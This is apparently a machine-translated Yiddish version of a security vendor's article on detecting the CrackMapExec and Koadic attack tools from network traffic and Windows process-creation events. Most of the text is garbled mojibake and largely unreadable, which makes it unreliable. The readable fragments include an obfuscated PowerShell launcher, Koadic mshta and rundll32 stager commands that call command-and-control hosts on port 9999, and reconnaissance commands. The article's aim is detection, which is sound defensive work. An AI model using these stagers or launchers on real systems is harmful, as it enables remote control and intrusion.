ืืื ืึทืืืฉืึทื, ืื ืงืึทืืขืจ ืคืื Bloodhound ืืืืฃ ืึท ืงืึธืจืื ืก ืืึทืฉืื ืืื ืึทืืึทืืื ื ืขื ืืืืึทืื ืืื ืืืืืืื ืืืจื ืึท ืืขืฉืขืขื ืืฉ ืืื ID 4688 (ืคึผืจืึธืกืขืก ืฉืึทืคืื ื) ืืื ืืขื ืคึผืจืึธืฆืขืก ื ืึธืืขื. ยซC:WindowsSystem32cmd.exeยป. ืืืึธืก ืืื ื ืึธืืืึทืืึทื ืืืขืื ืขืก ืืขื ืขื ืื ืืึทืคึฟืขืื ืฉืืจื ืึทืจืืืืขื ืื:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , โฆ , 40,41 )-jOIN'' ) "Enum_avproducts
ืื enum_avproducts ืืึธืืืืข ืืื ืืืืขืจ ืืฉืืงืึทืืืข ืคึฟืื ืื ืคืื ื ืคืื ืืืื ืื ื ืคืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืืื ืืืคึผืืึทืืขื ืืืืฉืึทื. WMI ืึทืืึทืื ืืืจ ืฆื ื ืืฆื ืื WQL ืึธื ืคึฟืจืขื ืฉืคึผืจืึทื ืฆื ืฆืืจืืงืงืจืืื ืืึทืื ืคืื ืคืึทืจืฉืืื Windows ืึทืืืืฉืขืงืฅ, ืืืึธืก ืืื ืืืืกืืงืื ืืืึธืก ืื CME ืืึธืืืืข ื ืืฆื. ืขืก ืืืฉืขื ืขืจืืืฅ ืคึฟืจืืื ืฆื ืื AntiSpywareProduct ืืื AntiMirusProduct ืงืืืกื ืืืขืื ืื ืฉืืฅ ืืืฉืืจืื ืืื ืกืืึทืืืจื ืืืืฃ ืื ืงืึธืจืื ืก ืืึทืฉืื. ืึผืื ืฆื ืืึทืงืืืขื ืื ื ืืืืืง ืืึทืื, ืื ืืึธืืืืข ืงืึทื ืขืงืฅ ืฆื ืื ืจืึธืืกืขืงืืจืืืืฆืขื ืืจืึทื 2 ื ืึธืืขื, ืืื ืืืฉืขื ืขืจืืืฅ ืึท WQL ืึธื ืคึฟืจืขื ืืื ืืึทืงืืืขื ืึท ืขื ืืคืขืจ. ืืื Fig. ืคืืืืจืข 9 ืืืืืื ืื ืืื ืืึทืื ืคืื ืึทืืึท ืจืืงืืืขืก ืืื ืจืขืกืคึผืึธื ืกืขืก. ืืื ืืื ืืืขืจ ืืืึทืฉืคึผืื, Windows Defender ืืื ืืขืคึฟืื ืขื.
ืจืืืก. 9. ื ืขืฅ ืืขืืืงืืื ืคืื ืื enum_avproducts ืืึธืืืืข
ืึธืคื, WMI ืึทืืึทืืื ื (Trace WMI-Activity), ืืื ืืืขืืขื ืก ืืขืฉืขืขื ืืฉื ืืืจ ืงืขื ืขื ืืขืคึฟืื ืขื ื ืืฆืืง ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื WQL ืงืืืืจืื, ืงืขื ืืืื ืคืึทืจืงืจืืคึผืื. ืืืขืจ ืืืื ืขืก ืืื ืขื ืืืืึทืื, ืืืื ืื enum_avproducts ืฉืจืืคื ืืื ืืืืคื, ืึท ืืขืฉืขืขื ืืฉ ืืื ID 11 ืืืขื ืืืื ืืขืจืืืขืืืขื.
ืืขืืขืจ ืคืื ืื CME ืืึทืืืฉืืื ืืื ืืืื ืืืืืขื ืข ืึทืจืืึทืคืึทืงืฅ, ืฆื ืขืก ืืื ืกืคึผืขืฆืืคืืฉ WQL ืคึฟืจืืื ืึธืืขืจ ืื ืฉืึทืคืื ื ืคืื ืึท ืืืืขืจ ืืืคึผ ืคืื ืึทืจืืขื ืืื ืึท ืึทืจืืขื ืกืงืขืืืฉืืืขืจ ืืื ืึทืืคืืกืงืืืฉืึทื ืืื ืืืึธืึธืืืึธืื ื-ืกืคึผืขืฆืืคืืฉ ืืขืืืงืืื ืืื LDAP ืืื SMB.
KOADIC
ื ืึธืคึผืฉืืืื ืืืง ืฉืืจืื ืคืื Koadic ืืื ืื ื ืืฆื ืคืื ืืืฉืึทืืืึทืกืงืจืืคึผื ืืื ืืืืกืงืจืืคึผื ืื ืืขืจืคึผืจืึทืืขืจื ืืขืืืื ืืื Windows. ืืื ืืขื ืืื ืขื, ืขืก ืืืื ืื ืืขืืขืืืง ืึทืืืขืง ืื ืืึทื ื ืืึทื ื - ืืึธืก ืืื, ืขืก ืืื ืงืืื ืคืื ืืจืืืกื ืืืง ืืืคึผืขื ืืึทื ืกืื ืืื ื ืืฆื ื ืึธืจืืึทื Windows ืืืฉืืจืื. ืืึธืก ืืื ืึท ืืขืฆืืึทื ืคึฟืึทืจ ืคืื ืงืึทืืึทื ื & ืงืึธื ืืจืึธื (CnC), ืืื ื ื ืึธื ืื ืคืขืงืฆืืข ืึท "ืืืคึผืืึทื ื" ืืื ืืื ืกืืึทืืืจื ืืืืฃ ืื ืืึทืฉืื, ืึทืืึทืืื ื ืขืก ืฆื ืืืื ืงืึทื ืืจืึธืืื. ืึทืืึท ืืึทืฉืื, ืืื ืงืึธืึทืืืฉ ืืขืจืืื ืึธืืึธืืืข, ืืื ืืขืจืืคื ืึท "ืืึทืืื". ืืืื ืขืก ืืขื ืขื ื ืื ืืขื ืืืืง ืคึผืจืืืืืืึทืืืฉืึทื ืคึฟืึทืจ ืคืื ืึธืคึผืขืจืึทืฆืืข ืืืืฃ ืื ืืืึทื ืคืื ืื ืงืึธืจืื, Koadic ืืื ืื ืคืืืืงืืื ืฆื ืืึทืคึผื ืืื ืืื ืืึทื ืืฆืขืจ ืึทืงืึทืื ื ืงืึธื ืืจืึธื ืืืืคึผืึทืก (UAC ืืืืคึผืึทืก) ืืขืงื ืืงืก.
ืจืืืก. 10. ืงืึธืึทืืืง ืฉืขื
ืื ืงืึธืจืื ืืืื ืึธื ืืืืื ืงืึธืืื ืืงืึทืฆืืข ืืื ืื ืงืึทืืึทื ื & ืงืึธื ืืจืึธื ืกืขืจืืืขืจ. ืฆื ืืึธื ืืึธืก, ืื ืืึทืจืฃ ืงืึธื ืืึทืงื ืึท ืคืจืืขืจ ืฆืืืขืืจืืื URI ืืื ืืึทืงืืืขื ืื ืืืืคึผื ืงืึธืึทืืืง ืืืฃ ืืื ืืืื ืขืจ ืคืื ืื ืกืืึทืืขืจืก. ืืื Fig. ืคืืืืจืข 11 ืืืืืื ืึท ืืืืฉืคึผืื ืคึฟืึทืจ ืื mshta stager.
ืจืืืก. 11. ืื ืืืืึทืืืืืื ื ืึท ืกืขืกืืข ืืื ืื ืงื ืง ืกืขืจืืืขืจ
ืืึทืืืจื ืืืืฃ ืืขืจ ืขื ืืคืขืจ ืืืึทืืขืืืืืง WS, ืขืก ืืืขืจื ืงืืึธืจ ืึทื ืืืจืืคืืจืื ื ืึทืงืขืจื ืืืจื WScript.Shell, ืืื ืื ืืืขืจืืึทืืึทืื STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE ืึทื ืืืึทืืื ืฉืืืกื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืขืื ืื ืคึผืึทืจืึทืืขืืขืจืก ืคืื ืืขื ืงืจืึทื ื ืกืขืกืืข. ืืึธืก ืืื ืืขืจ ืขืจืฉืืขืจ ืืขืื-ืขื ืืคืขืจ ืคึผืึธืจ ืืื ืึท ืืืืคึผ ืงืฉืจ ืืื ืึท CnC ืกืขืจืืืขืจ. ืกืึทืืกืึทืงืืืึทื ื ืจืืงืืืขืก ืืขื ืขื ืืืืึทื ืฉืืึทืืืช ืฆื ืื ืคืึทื ืืงืฉืึทื ืึทืืืื ืคืื ืื ืืขืจืืคึฟื ืืึทืืืฉืืื (ืืืคึผืืึทื ืฅ). ืื ืงืึธืึทืืืง ืืึทืืืฉืืื ืึทืจืืขื ืืืืื ืืื ืึทื ืึทืงืืืื ืกืขืกืืข ืืื CnC.
ืืืืืงืึทืื
ืคึผืื ืงื ืืื CME ืึทืจืืขื ืืื Bloodhound, Koadic ืึทืจืืขื ืืื Mimikatz ืืื ืึท ืืึทืืื ืืขืจ ืคึผืจืึธืืจืึทื ืืื ืืื ืงืืืคื ืืืขืื ืฆื ืงืึทืืขืจ ืขืก. ืื ืืขืจ ืืื ืึท ืืงืฉื-ืขื ืืคืขืจ ืคึผืึธืจ ืคึฟืึทืจ ืืึทืื ืืึธืืืื ื ืื Mimikatz ืืืคึผืืึทื ื.
ืจืืืก. 12. ืึทืจืืืขืจืคืืจื ืืืืืงืึทืฅ ืฆื ืงืึธืึทืืืง
ืืืจ ืงืขื ื ืืขื ืืื ืื URI ืคึฟืึธืจืืึทื ืืื ืืขืจ ืืงืฉื ืืื ืคืืจืขื ืืขืจื. ืขืก ืืืฆื ืึผืืื ืึท ืืืขืจื ืคึฟืึทืจ ืื csrf ืืืึทืืขืืืืืง, ืืืึธืก ืืื ืคืึทืจืึทื ืืืืึธืจืืืขื ืคึฟืึทืจ ืื ืืืืกืืขืงืืืื ืืึธืืืืข. ืืื ืืื ื ืืฉื ืฆื ืืืจ ื ืึธืืขื; ืืืจ ืึทืืข ืืืืกื ืึทื CSRF ืืื ืืืืฉืึทืืืึทืื ืคืืจืฉืืื ืขื ืึทื ืืขืจืฉ. ืืขืจ ืขื ืืคืขืจ ืืื ืืขืืืขื ืืขืจ ืืขืืืืงืขืจ ืืืืคึผื ืืืฃ ืคืื ืงืึธืึทืืืง, ืฆื ืืืึธืก ืงืึธื ืฉืืื ืฆื ืืืืืงืึทืฅ ืืื ืืขืืืขื ืฆืืืขืืขืื. ืขืก ืืื ืืึทื ืฅ ืืจืืืก, ืึทืืื ืืึธืื ืก ืงืืง ืืื ืื ืืืืคึผื ืคืื ืงืื. ืืึธ ืืืจ ืืึธืื ืื Mimikatz ืืืืืืึธืืขืง ืงืึธืืขื ืืื base64, ืึท ืกืืจืืึทืืืืื .NET ืงืืึทืก ืืืึธืก ืืืขื ืึทืจืืึทื ืฉืคึผืจืืฆื ืขืก, ืืื ืึทืจืืืืขื ืื ืฆื ืงืึทืืขืจ Mimikatz. ืืขืจ ืืืจืืคืืจืื ื ืจืขืืืืืึทื ืืื ืืจืึทื ืกืืืืืขื ืืืืขืจ ืื ื ืขืฅ ืืื ืงืืึธืจ ืืขืงืกื.
ืจืืืก. 13. ืจืขืืืืืึทื ืคืื ืคืืืกื ืืืง ืืืืืงืึทืฅ ืืืืฃ ืึท ืืืืึทื ืืึทืฉืื
ืขืงืกืขืง_ืงืื
Koadic ืืืื ืืื ืืึทืืืฉืืื ืืืึธืก ืงืขื ืขื ืืืกืคืืจื ืงืึทืืึทื ืื ืจืืืึธืืืื. ืืึธ ืืืจ ืืืขืื ืืขื ืื ืืขืืืข URI ืืืจ ืืืคึฟื ืืื ืื ืืึทืงืึทื ื ืืืขืจืืึทืืึทืื ืคืื ืกืื ืืื csrf. ืืื ืืขื ืคืึทื ืคืื ืื exec_cmd ืืึธืืืืข, ืงืึธื ืืื ืืืกืืฃ ืฆื ืืขื ืืืฃ ืืืึธืก ืืื ืืืืืขืืืืืง ืคืื ืขืงืกืึทืงืืืืื ื ืฉืึธื ืงืึทืืึทื ืื. ืื ืืขืจ ืืื ืืขืืืืื ืึทืืึท ืงืึธื ืงืึทื ืืืื ื ืืื ืื ืืืืคึผ ืขื ืืคืขืจ ืคืื ืื CnC ืกืขืจืืืขืจ.
ืจืืืก. 14. ืืืคึผืืึทื ื ืงืึธื ืขืงืกืขืง_ืงืื
ืื GAWTUUGCFI ืืืึทืืขืืืืืง ืืื ืื ืืึทืงืึทื ืืข WS ืึทืืจืืืืื ืืื ืคืืจืืื ืื ืคึฟืึทืจ ืงืึธื ืืืจืืคืืจืื ื. ืืื ืืืึทื ืืืืฃ, ืื ืืืคึผืืึทื ื ืจืืคื ืื ืฉืึธื, ืคึผืจืึทืกืขืกืื ื ืฆืืืื ืฆืืืืืื ืคืื ืงืึธื - shell.exec ืืื ืื ืฆืืจืืงืงืืืขื ืคืื ืื ืจืขืืืืืึทื ืืึทืื ืืืึทื ืืื shell.run ืึธื ืฆืืจืืงืงืืืขื.
Koadic ืืื ื ืืฉื ืึท ืืืคึผืืฉ ืืขืฆืืึทื, ืึธืืขืจ ืขืก ืืื ืืืื ืืืืืขื ืข ืึทืจืืึทืคืึทืงืฅ ืืืจื ืืืึธืก ืขืก ืงืขื ืขื ืืืื ืืขืคึฟืื ืขื ืืื ืืึทืืืฉืืืึทืืึทื ืคืึทืจืงืขืจ:
- ืกืคึผืขืฆืืขืืข ืคืึธืจืืืจืื ื ืคืื HTTP ืจืืงืืืขืก,
- ื ืืฆื winHttpRequests API,
- ืงืจืืืืืื ื ืึท WScript.Shell ืืืืคืขืฅ ืืืจื ActiveXObject,
- ืืจืืืก ืขืงืกืขืงืืืึทืืืข ืืืฃ.
ืืขืจ ืขืจืฉื ืงืฉืจ ืืื ืื ืืฉืืืืืื ืืืจื ืื ืกืืึทืืขืจ, ืึทืืื ืขืก ืืื ืืขืืืขื ืฆื ืืขืืขืงื ืืืึทื ืืขืืืงืืื ืืืจื Windows events. ืคึฟืึทืจ mshta, ืืึธืก ืืื ืืขืฉืขืขื ืืฉ 4688, ืืืึธืก ืื ืืืงืืืฅ ืื ืฉืึทืคืื ื ืคืื ืึท ืคึผืจืึธืฆืขืก ืืื ืื ืึธื ืืืื ืึทืืจืืืืื:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6ืืฉืขืช Koadic ืืื ืคืืืกื ืืืง, ืืืจ ืงืขื ืขื ืืขื ืื ืืขืจืข 4688 ืืขืฉืขืขื ืืฉื ืืื ืึทืืจืืืืืฅ ืืืึธืก ืืืฉืืืืืขืก ืงืขืจืึทืงืืขืจืืื ืขืก:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1ืคืืื ืืื ืื
ืื ืืขืืขืืืง ืึทืืืขืง ืื ืืึทื ื ืืึทื ื ืืื ืืืื ืื ื ืคึผืึธืคึผืืืึทืจืืืขื ืฆืืืืฉื ืงืจืืืึทื ืึทืื. ืืื ื ืืฆื ืื ืืืฉืืจืื ืืื ืืขืงืึทื ืืืึทืื ืืขืืืื ืืื Windows ืคึฟืึทืจ ืืืืขืจ ืืึทืจืฃ. ืืืจ ืืขื ืคืึธืืงืก ืืืฉืืจืื Koadic, CrackMapExec ืืื Impacket ื ืึธื ืืขื ืคึผืจืื ืฆืืคึผ ืื ืงืจืืกืื ืืื ืืขืจืฉืืึทื ืขื ืืื APT ืจืืคึผืึธืจืฅ. ืื ื ืืืขืจ ืคืื ืคืึธืจืงืก ืืืืฃ GitHub ืคึฟืึทืจ ืื ืืืฉืืจืื ืืื ืืืื ืืจืึธืืื ื, ืืื ื ืืึทืข ืึธื ืขืก ืืขื ืขื ืืจืืืก (ืขืก ืืขื ืขื ืฉืืื ืืืขืื ืึท ืืืืื ื ืคืื ืืื ืืืฆื). ืืขืจ ืืึทื ื ืืื ืืืื ืื ื ืคึผืึธืคึผืืืึทืจืืืขื ืจืขืื ืฆื ืืืื ืคึผืึทืฉืืขืก: ืึทืืึทืงืขืจื ืืึธื ื ืื ืืึทืจืคึฟื ืืจืื-ืคึผืึทืจืืื ืืืฉืืจืื; ืืื ืืขื ืขื ืฉืืื ืืืืฃ ืื ืืืฉืื ืขื ืคืื ืืืืงืืืืก ืืื ืืขืืคึฟื ืืื ืืืืคึผืึทืก ืืืืขืจืืืื ืืืืืขื. ืืืจ ืคืึธืงืืก ืืืืฃ ืืขืจื ืขื ื ืขืฅ ืงืึธืืื ืืงืึทืฆืืข: ืืขืืขืจ ืืขืฆืืึทื ืืืกืงืจืืืื ืืืืื ืืืขืืขืจ ืืืึทื ืืืืื ืืจืึทืกืขืก ืืื ื ืขืฅ ืคืึทืจืงืขืจ; ืืืืืืื ืืขืจื ืขื ืคืื ืืื ืขืจืืืืื ืืื ืื ืฆื ืืขืจื ืขื ืืื ืืืขืจ ืคึผืจืึธืืืงื ืืขืืขืงื ืืื, ืืืึธืก ืืขืกืึธืฃ ืืขืืคึผืก ืฆื ืคืึธืจืฉื ืื ืืื ืฆืข ืงืืื ืคืื ืกืืืืขืจ ืื ืกืึทืืึทื ืฅ ืื ืืืึทืืืืื ื ืืื.
ืืืืจืื:
- ืึทื ืืึธื ืืืืจืื, ืืืืคึผื ืคืื ืขืงืกืคึผืขืจื ืืึทืืื ืื ืืก ืืขืคึผืึทืจืืืขื ื, PT ืขืงืกืคึผืขืจื ืืืืขืจืืืื ืฆืขื ืืขืจ, positive ืืขืืฉื ืึธืืึธืืืขืก
- Egor Podmokov, ืืืืื, PT ืขืงืกืคึผืขืจื ืืืืขืจืืืื ืฆืขื ืืขืจ, Positive Technologies
ืืงืืจ: www.habr.com